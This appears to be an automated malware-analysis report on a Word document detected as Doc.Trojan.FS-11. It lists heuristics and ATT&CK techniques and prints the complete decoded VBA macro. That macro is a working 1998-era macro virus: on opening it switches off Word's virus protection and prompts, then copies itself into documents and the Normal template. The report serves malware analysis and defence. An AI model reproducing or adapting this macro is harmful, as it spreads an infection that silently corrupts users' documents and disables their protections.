MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The file is a Microsoft Word document containing a VBA macro that executes upon opening. The macro's primary function appears to be copying its own code into the Normal template, which is a common technique for establishing persistence. The ClamAV detection and the presence of a Document_Open macro strongly indicate malicious intent, likely for further payload delivery or system compromise.
Heuristics 3
-
ClamAV: Doc.Trojan.FS-11 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.FS-11
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1073 bytes |
SHA-256: 7f382c0e9d318a7919d9ed84f0948112ca316269b27f9f52337e53ded9f37ca4 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'Copyright (C) 1998 by FlyShadow ~^^~ - Anoia Private Sub Document_Open() On Error Resume Next ι = ActiveDocument.Saved Options.VirusProtection = 0 Options.SaveNormalPrompt = 0 Application.DisplayAlerts = 0 Options.ConfirmConversions = 0 Application.EnableCancelKey = 0 Application.DisplayStatusBar = 0 Set α = ActiveDocument.VBProject.VBComponents(1).CodeModule Set υ = NormalTemplate.VBProject.VBComponents(1).CodeModule Set ν = ThisDocument.VBProject.VBComponents(1).CodeModule If α.CountOfLines < ν.CountOfLines Then α.AddFromString ν.Lines(1, ν.CountOfLines) If ActiveDocument.ReadOnly = False Then ActiveDocument.Save ElseIf υ.CountOfLines < ν.CountOfLines Then υ.AddFromString ν.Lines(1, ν.CountOfLines) End If: ActiveDocument.Saved = ι End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.